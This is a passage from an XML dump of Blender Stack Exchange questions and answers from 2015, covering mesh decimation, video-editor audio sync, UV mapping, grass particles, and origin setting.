&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could really need help, to finish this project. Thanks in Advance :)&lt;/p&gt;&#xA;" OwnerUserId="14606" LastActivityDate="2015-12-25T01:02:35.760" Title="Combining mesh from skin modifier to manifold object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31467" PostTypeId="1" CreationDate="2015-05-25T21:23:09.517" Score="47" ViewCount="191088" Body="&lt;p&gt;I need a way to fix this mesh.&#xA;It has way too many faces and when I import the &lt;code&gt;.stl&lt;/code&gt; file to other programs it gives me a &lt;code&gt;broken polygon&lt;/code&gt; message. I want to 3D print this object in matter control once I fix the problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kgpsZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="14611" LastEditorUserId="116462" LastEditDate="2021-02-07T23:45:28.910" LastActivityDate="2021-02-07T23:45:28.910" Title="How to reduce vertex count on a mesh" Tags="&lt;mesh&gt;&lt;vertices&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="23" ClosedDate="2015-05-26T15:16:24.670" ContentLicense="CC BY-SA 4.0" />
  <row Id="31468" PostTypeId="2" ParentId="31467" CreationDate="2015-05-25T21:34:46.860" Score="31" Body="&lt;p&gt;The easiest way to reduce the vertex count on a model is probably to use the &lt;em&gt;Decimate modifier&lt;/em&gt;. Basically it tries to simplify a mesh, without loosing too much detail. There are also multiple modes, for finer control, but the default one should do for most cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is, with your object selected, to go to the &lt;em&gt;modifier&lt;/em&gt; tab of the &lt;em&gt;Properties&lt;/em&gt; window and add a &lt;em&gt;Decimate&lt;/em&gt; modifier. I encourage you to play around with the multiple settings and modes to see which best suits your needs. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-05-25T21:34:46.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31469" PostTypeId="2" ParentId="31467" CreationDate="2015-05-25T21:58:28.850" Score="64" Body="&lt;p&gt;Select all vertices, hit &lt;kbd&gt;X&lt;/kbd&gt; button and select &lt;strong&gt;Limited Dissolve&lt;/strong&gt; from the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1OgpL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1OgpL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then hit &lt;kbd&gt;F6&lt;/kbd&gt; button and adjust &lt;strong&gt;Maximum Angle&lt;/strong&gt; to get desired result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zBGis.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBGis.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to triangulate the mesh hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; shortcut.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-31T20:06:26.383" LastActivityDate="2016-12-31T20:06:26.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31470" PostTypeId="1" CreationDate="2015-05-25T22:58:41.083" Score="1" ViewCount="83" Body="&lt;p&gt;When I am scaling two or more vertices, they scale so quickly that I am not able to control properly how much I want to scale. Any way to control this function?&lt;/p&gt;&#xA;" OwnerUserId="14498" LastActivityDate="2015-05-27T18:43:33.853" Title="How to constrain resizing in blender?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31471" PostTypeId="1" AcceptedAnswerId="44192" CreationDate="2015-05-25T23:25:30.110" Score="15" ViewCount="4460" Body="&lt;p&gt;First let me apologize to ask this question, as this has been basically already asked, for instance &lt;a href=&quot;https://blender.stackexchange.com/questions/2654/why-will-audio-and-video-not-sync-in-rendered-video-file&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/questions/17790/v-2-72-input-movies-audio-video-is-in-sync-but-vse-output-is-floating-and-d&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/23030/video-speed-changes-when-rendering&quot;&gt;here&lt;/a&gt;. However these answers don't seem to provide an understanding what's really going on, so I will pose my question anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every once in a while the video in a rendered video file will playback much faster than the audio, despite audio and video being perfectly in sync in the VSE. This problem seems always to pop up when then input source video is &quot;mostly static&quot;, i.e. when the change from one frame to the next is miniscule (e.g. a screen recording). I should also add that I record the videos in question using a lossless codec (FRAPS or lagarith).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the other questions linked above, I get the impression that this is due to Blender (or rather its version libavcodec) incorrectly decoding the compressed source video. It is also mentioned in one answer to the above questions that this is related to the use of b-frames in the encoding algorithm. However I had this problem also using the lagarith codec, which apparently uses only keyframes/i-frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in order to turn this cry for help into a question, let me ask: What the hell is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More precisely: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why can Blender (or its version of libavcodec) apparently correctly decode and show the video in the VSE, but not render it correctly? Is the decoding in the VSE done differently than in rendering?&lt;/li&gt;&#xA;&lt;li&gt;What version of libavcodec is used in Blender 2.74? Is the implementation of e.g. lagarith faulty in this version? If not, then why does Blender mess up the rendering? &lt;/li&gt;&#xA;&lt;li&gt;It has been suggested that one should use &quot;Blender-friendly&quot; codecs for compression. Which lossless codecs are known to be so? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; It seems there are several error sources here, which just makes everything much more confusing. The problem of the video playing back at twice the normal speed I had with this one particular lagarith encoded source seemed to stem from a corrupted (??) .blend file. Namely during editing Blender got stuck and I had to force it quit. When I re-opened this file Blender didn't give me any complains, but comparing its file size with the sizes of some other .blend files which were similar, I noticed that it seemed about 3 kB smaller than the rest. Opening this file and saving it to a new file (&quot;Save as&quot;) got rid of this playback issue. However the video is still out of sync, even more subtly. Instead of the video globally playing back faster, it sometimes seems to &quot;get stuck&quot; and then &quot;catching up again&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;These&lt;/strong&gt; issues are also already visible in the VSE, so it seems that my problem at least in this instance is solved. On the other hand this makes the behaviour of Blender seem even more mysterious, as I do not understand how a corrupted (was it even corrupted??) .blend file can lead to such an effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I wrote, I experienced this issue with several videos, one of them being a video encoded in FRAPS. There the audio and video seemed in sync in the VSE, but wasn't in the rendered video. Strangely, after re-creating this .blend file from scratch, the audio and video now was out of sync even in the VSE. I tried transcoding it with ffmpeg, and this also gave an out of sync video. However transcoding it with Windows Movie Maker gave perfect result. So I suppose that for this particular video, the problem is that the fraps codec is implemented imperfectly in ffmpeg/libavcodec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2nd Edit:&lt;/strong&gt; The problem is back. Apparently it didn't have anything to do with the file being 'corrupted'. Running blender again on the very same file this time produced again an out-of-sync video. This issue seems to appear and disappear &lt;strong&gt;randomly&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3rd Edit:&lt;/strong&gt; Still no clue why it only appears sometimes. But I noticed something else. The audio in the rendered video is as it should be, i.e. its start and end are as defined in the .blend file. However the last frame in the rendered video is actually way beyond the end frame. For some reason Blender consumes more video frames than it is supposed to be. I am going to file a bug report on this.&lt;/p&gt;&#xA;" OwnerUserId="14612" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2020-05-24T22:10:32.883" Title="Audio/Video out of sync in rendered video, but not in VSE" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31472" PostTypeId="1" CreationDate="2015-05-26T03:04:30.473" Score="1" ViewCount="1771" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6DvpI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gL6qw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, I made a geometric realistic house&lt;/strong&gt; Buuuttttt, I didn't know importing to a game was going to be a NIGHTMARE! I have spots that appear to be missing, that is &quot;invisible&quot;, and when I try to UV-map them automatically I get very bad results. How can I quickly remove the interior faces &quot;that will never be seen by the player&quot; and then UV-map this thing so I can go into Mudbox and make this puppy super texture realistic THEN import it into UDK without a hitch? In the future I might just make simple rooms and wood blocks that are pre UV mapped and then build the house from assets in UDK. But, so i don't feel this entire house project was a waste of 3 days of off-and-on work, how do I go about the easiest possible way of getting this bad boy ready for my game engine?&lt;/p&gt;&#xA;" OwnerUserId="14614" LastEditorUserId="3401" LastEditDate="2015-05-26T07:33:36.943" LastActivityDate="2015-05-26T07:33:36.943" Title="UV mapping and removing hidden faces?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31473" PostTypeId="2" ParentId="31472" CreationDate="2015-05-26T03:52:58.490" Score="2" Body="&lt;p&gt;If you're looking for a quick way to delete faces that will never ever be visible from the outside, you're in luck. If you're trying to do something more complex, you're going to be stuck with manual work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete these inside faces, select everything using &lt;kbd&gt;A&lt;/kbd&gt;. Then switch into face mode &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Tab&lt;/kbd&gt;&gt;&lt;em&gt;Face&lt;/em&gt;. Set your camera to orthographic &lt;kbd&gt;Numpad&lt;/kbd&gt;-&lt;kbd&gt;5&lt;/kbd&gt;. Finally enter each one of the side/top views, use &lt;kbd&gt;B&lt;/kbd&gt;ox select with &lt;kbd&gt;MMB&lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; to de-select all the visible faces. You will need to do this for all 6 views: The short cuts are &lt;kbd&gt;1&lt;/kbd&gt;,&lt;kbd&gt;3&lt;/kbd&gt; and &lt;kbd&gt;7&lt;/kbd&gt; for front, right and top (respectively) To get back left and bottom, combine  &lt;kbd&gt;1&lt;/kbd&gt;,&lt;kbd&gt;3&lt;/kbd&gt; and &lt;kbd&gt;7&lt;/kbd&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt; to get back, left and bottom (respectively). The selected faces you will now have are the inside faces. Delete them.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2015-05-26T07:33:21.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31474" PostTypeId="1" AcceptedAnswerId="31477" CreationDate="2015-05-26T04:24:05.257" Score="0" ViewCount="287" Body="&lt;p&gt;What language is the Cycles image texture node is written? are these editable?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-05-26T13:01:30.757" Title="Cycles image texture node is writen in python or c?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31475" PostTypeId="2" ParentId="31472" CreationDate="2015-05-26T05:14:40.253" Score="1" Body="&lt;p&gt;First, Keola, welcome to the site. Second, congratulations on your house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GCF has given you one way to identify interior faces, but I think there are others. One of these is to have the object in wireframe view, as your first image, and rotate your mesh so that you are looking at the object through the floor. In face select mode, the faces comprising the interior walls can be more easily seen through the floor, and deleted. Note though, that the interior faces may not save you all that much, considering the method you used in building the roof. If you're attempting to model a typical &quot;liveable&quot; house, (by which I mean one that is well maintained) you may be able to save considerable geometry by making the roof with a large, flat, sloped plane, rather than constructing it as you have done with rafters and what seems to be individual boards in the surface. Constructing the roof as you have done in the screen shot, you have considerably more geometry in the roof sections than you have in the walls, where you have not shown the interior studs of the walls. [Note that if you are modeling a derelict house, where part of the roofing materials are missing, you may want to have the rafters and individual boards of the roof.] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the &quot;invisible&quot; faces, this sounds to me to be most likely caused by &quot;flipped normals&quot;. There are to ways I correct these, both ways being done in edit mode, and textured shading. Textured shading is selected in the drop down menu of the shading icon just to the right of the interaction button (where you choose whether to use &quot;edit view&quot; or &quot;object view&quot;. &quot;Textured shading&quot; is selected by selecting &quot;texture&quot;, the option indicated by the red-and-white circle icon. If there are only a couple of instances of flipped normals, I simply select the faces, and flip the normals. If there are a larger number of faces, I use the A key once or twice to select all of the faces, and choose the option to recalculate normals. For more information on Normals, see the Wikipedia pages &lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_%28geometry%29&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Normal_%28geometry%29&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Vertex_normal&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Vertex_normal&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact location in the User interface where one would find the options to flip normals changed in more recent versions. It has always been in the tool shelf in edit mode, and in more recent versions is under the &quot;Shading/UV&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your idea of implementing reusable components like walls and rooms is a good one, but I suspect you will find that it is difficult to have these components UV-mapped in advance. One of the reasons for this is that many game engines prefer the number of textures to be minimized, so you will likely find it expedient to make your mesh, then prepare a single texture in an image processing package [I use GIMP; cf. &lt;a href=&quot;http://www.GIMP.org&quot; rel=&quot;nofollow&quot;&gt;http://www.GIMP.org&lt;/a&gt;] as a collage containing all of the bits of the  building, and map the various surfaces of the mesh to the appropriate locations on the texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For myself, I find that I can usually make a wall (or even a simple building) quickly enough from scratch that I'd have it constructed before I remembered which ~.blend file contained the various components of the vuilding, and finding the right component in the ~.blend file, though I do make use of the technique of re-using blender components for more complex meshes.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-05-26T05:24:26.113" LastActivityDate="2015-05-26T05:24:26.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31476" PostTypeId="1" CreationDate="2015-05-26T05:34:43.400" Score="5" ViewCount="2273" Body="&lt;p&gt;In many tutorials and books I read that making grass is better in &lt;em&gt;hair&lt;/em&gt; particle mode, but can not find why. &lt;em&gt;Emitter&lt;/em&gt; works much faster than &lt;em&gt;hair&lt;/em&gt; type.&#xA;I try to achieve similar result with &lt;em&gt;hair and emitter&lt;/em&gt; in the same scene. The first image was made using hair (grass and forest): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/IZEY2Jn.jpg&quot; alt=&quot;http://prntscr.com/7972ui&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second image was made using &lt;em&gt;emitter&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/hGFfPUI.jpg&quot; alt=&quot;http://prntscr.com/79h9hr&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understood only one thing, the &lt;em&gt;emiter&lt;/em&gt; isn't as detailed as &lt;em&gt;hair&lt;/em&gt;.&#xA;What else?&lt;/p&gt;&#xA;" OwnerUserId="14594" LastEditorDisplayName="user1853" LastEditDate="2015-05-26T13:18:11.907" LastActivityDate="2015-05-26T13:18:11.907" Title="Making grass. Difference between hair particles and emitter?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31477" PostTypeId="2" ParentId="31474" CreationDate="2015-05-26T05:49:42.920" Score="0" Body="&lt;p&gt;Implemented in C, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole tree:&#xA;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/tree/HEAD:/source/blender/nodes/shader/nodes&quot; rel=&quot;nofollow&quot;&gt;tree/HEAD:/source/blender/nodes/shader/nodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Mapping node:&#xA;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob_plain/HEAD:/source/blender/nodes/shader/nodes/node_shader_mapping.c&quot; rel=&quot;nofollow&quot;&gt;HEAD:/source/blender/nodes/shader/nodes/node_shader_mapping.c&lt;/a&gt;&lt;br&gt;&#xA;The image texture node:&#xA;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob_plain/HEAD:/source/blender/nodes/shader/nodes/node_shader_tex_image.c&quot; rel=&quot;nofollow&quot;&gt;HEAD:/source/blender/nodes/shader/nodes/node_shader_tex_image.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing / changing is possible, but then you embark on a journey of custom compiles whenever you want to update, maintaining your own branch might not be an option until you have a certain amount of C / compile / revision control experience.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-26T13:01:30.757" LastActivityDate="2015-05-26T13:01:30.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31478" PostTypeId="2" ParentId="31476" CreationDate="2015-05-26T05:55:06.947" Score="6" Body="&lt;p&gt;Generally, hair is recommended because you can use Cycles particle hair options to get a decent grass shape. It can also be softer on performance due to Children. However, Emitter pulls ahead when you have a diverse set of grass objects. Load them into a Group, and have the particle system use the Group option. This gives better look and performance (assuming you have good grass assets), but requires more work to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, both options work and have their uses. As far as I can tell, hair is commonly recommended in tutorials because Blender Guru put out a good tutorial for Hair grass some time ago, and so the method caught on.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-05-26T05:55:06.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31479" PostTypeId="1" AcceptedAnswerId="31480" CreationDate="2015-05-26T06:30:34.060" Score="6" ViewCount="3364" Body="&lt;p&gt;My first time posting, but I've already learned a lot from lurking around here over the last week, so thanks all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my first project I wanted to model the earth 100 million years from now based on the youtube linked: &lt;a href=&quot;https://www.youtube.com/watch?v=uGcDed4xVD4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=uGcDed4xVD4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started by projecting an equirectangular displacement map (white continents, black oceans) onto a globe, and then extruding the continents with a displacement modifier. I then sectioned the continents from the globe using a boolean difference modifier with a second globe just-about the same size, leaving me with a loose continent &quot;skin&quot;. I seperated the continents into individual objects, rigged them and moved the continents, and voila:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OinOa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's where I'm stuck. I want to unwrap this new earth and create a new equirectangular world-map from it, but for the life of me I can't figure out how. Straight unwrapping it isn't working. I suspect the combined geometry of the raised continents and globe and everything is just too complex. I've tried simplifying things using decimate, I've tried dissolving and otherwise cleaning up, I've even tried shrink-wrapping another globe over the model and using THAT instead, but I can't seem to get rid of the shrinkwrap &quot;stretch lines&quot; around the raised areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any advice. I'm new to blender and to 3d in general, so my understanding of modelling is limited to what I could glean from forum posts and youtube tutorials - I expect there are much better ways to solve this problem than how I went about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a .blend containing the model as far as I've managed to take it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/242/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=242&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Each face on the sphere is 10 degrees by 10 degrees, but I've added a cylinder each at 0 latitude and 0 longitude for convenience. I left them out of the model I tried to unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks lots.&lt;/p&gt;&#xA;" OwnerUserId="14616" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-05-26T15:10:58.497" Title="Equirectangular world-map UV layout" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31480" PostTypeId="2" ParentId="31479" CreationDate="2015-05-26T06:52:22.483" Score="1" Body="&lt;p&gt;Set camera to side view, press &quot;u&quot; and select &quot;Sphere Projection&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NmR3q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want PRECISE equirectangular projection, you'll need to write a script that generates uv coords based on vertex position. Shouldn't be too difficult, seeing that your geometry is normal sphere.&lt;/p&gt;&#xA;" OwnerUserId="7889" LastActivityDate="2015-05-26T06:52:22.483" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31481" PostTypeId="1" CreationDate="2015-05-26T07:36:45.187" Score="0" ViewCount="32" Body="&lt;p&gt;For some of my properties, the numbers would sometimes read something like &lt;code&gt;0.1231231230938...&lt;/code&gt;, which basically is absurd. Is there a way to duplicate this property and have it only read &lt;code&gt;x&lt;/code&gt; numbers after the decimal? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-26T07:36:45.187" Title="Shortened properties in GE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="31482" PostTypeId="2" ParentId="31166" CreationDate="2015-05-26T09:10:27.087" Score="2" Body="&lt;p&gt;What you call the &quot;center of scaling&quot; is one of three objects called &quot;Manipulator Widgets&quot;. The one shown in your screenshot is the default, called &quot;Translate manipulator widget&quot;. There are two others, one for rotation and one for scaling. The location of the manipulator widget is always co-incident with the pivot point, which in your screenshot, appears to be set to &quot;bounding box&quot;. If you want the Manipulator widget to be at the 3D cursor, change the pivot point to &quot;3D cursor&quot;, using the method The Beachdancer illustrates. There are other options which have their own utility. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-05-26T09:10:27.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31483" PostTypeId="1" AcceptedAnswerId="31491" CreationDate="2015-05-26T09:18:53.760" Score="3" ViewCount="227" Body="&lt;p&gt;im modeling a sort of complex tube right now. For this I model just a single patch and use array modifiers to get it to the right dimensions. After that I use a 'SimpleDeform -Bend' modifier to make it a tube.&#xA;Now I want to use a curve-deform modifier on this, but since the object center (origin) is not in the middle of the tube I get unpredictable results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround I can apply the array- and simpledeform modifiers and set the origin manually before the curve-deform, but since I'm in early production I would rather keep that stuff as I have not decided yet on the dimensions and thus still like to have the modifiers available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? thx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: &lt;a href=&quot;http://www.pasteall.org/blend/36249&quot; rel=&quot;nofollow noreferrer&quot;&gt;simple examplescene&lt;/a&gt;&#xA;and a screenshot....see how the curve is nicely in the center when the modifier stack is frozen&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vFGXy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="7923" LastEditDate="2015-05-26T13:37:46.603" LastActivityDate="2015-05-26T15:00:59.017" Title="Set origin in modifier-stack" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31484" PostTypeId="2" ParentId="31373" CreationDate="2015-05-26T09:50:38.377" Score="2" Body="&lt;p&gt;Well in case what you asked for was changing the keys in game, here is a &lt;a href=&quot;http://www.pasteall.org/blend/36245&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; and a picture :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8z38p.png&quot; alt=&quot;change_key picture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the cube moves in the x-axis by pressing &quot;w&quot;. But if you press &quot;s&quot; the script will run and the cube's movement key will change to &quot;up arrow&quot;(this is the number 146, it is an event). &lt;a href=&quot;http://bgepython.tutorialsforblender3d.com/GameKeys&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; you can find all the numbers for all the keys. &lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-05-26T09:50:38.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31485" PostTypeId="1" CreationDate="2015-05-26T11:47:49.867" Score="1" ViewCount="654" Body="&lt;p&gt;I am reading a book called: &lt;a href=&quot;https://www.packtpub.com/game-development/blender-game-engine-beginner%E2%80%99s-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Game Engine Beginner Guide&lt;/a&gt; by Victor Kuller Bacone, from Packt publishing, in which there is an exercise which directs to download from the 3D Warehouse a boat in sketchup format. The next instruction is to export the boat to Collada format, and import it into Blender. In blender, the user is instructed to use &lt;em&gt;Tools &gt; Edit &gt; Set Origin&lt;/em&gt; and choose &lt;em&gt;Center of Mass&lt;/em&gt;. When I follow those instructions, the boat object is centered. But when I try the next series of steps, downloading a &lt;a href=&quot;https://3dwarehouse.sketchup.com/model.html?id=68b497e61a3392da3c3be2f0ebb0c535&quot; rel=&quot;nofollow noreferrer&quot;&gt;killer whale (orca whale)&lt;/a&gt; from the same website into  Sketchup, exporting it to Collada, and import it into Blender, I don't see the menu option &lt;em&gt;Tools &gt; Edit &gt; Set Origin&lt;/em&gt;. The keyboard shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; doesn't seem to work either. Why can't the option for setting the origin to the center of mass work after importing the Orca?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Sketchup version Make 2014 14.0.4900. Whether I choose from sketchup the &quot;fix it&quot; or &quot;fix it later&quot; options on exporting, I get the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nc8hj.jpg&quot; alt=&quot;here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14620" LastEditorUserId="32220" LastEditDate="2019-08-12T18:17:36.710" LastActivityDate="2019-08-12T18:17:36.710" Title="Set Origin to geometry not available" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-28T14:43:34.807" ContentLicense="CC BY-SA 4.0" />
  <row Id="31486" PostTypeId="1" AcceptedAnswerId="31487" CreationDate="2015-05-26T12:45:51.820" Score="1" ViewCount="289" Body="&lt;p&gt;So I'm having an issue with the animation I am doing atm. It is as many frames as shown in the image, but for some reason when I am rendering, the animation suddenly stops just before the gap in the animation which is when the camera is moving. I tried it again just in case I pressed esc by accident but it still did the same thing. I tried just moving a random bone in case it needed something moving other than the camera but it didn't work. I've never had this issue before in my previous animations, just for this one. I thought I would try and start it at the point it stopped and continue the rendering but, when I do that it just goes straight back to the beginning of the part I've already rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Please help! Thanks! :D My Blender version is 2.74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qWym6.png&quot; alt=&quot;Normal key frames&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I try to get rid of the beginning part...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uE0bZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14621" LastEditorDisplayName="user1853" LastEditDate="2015-05-26T12:57:29.657" LastActivityDate="2015-05-26T13:00:28.697" Title="Rendered animation is incomplete" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
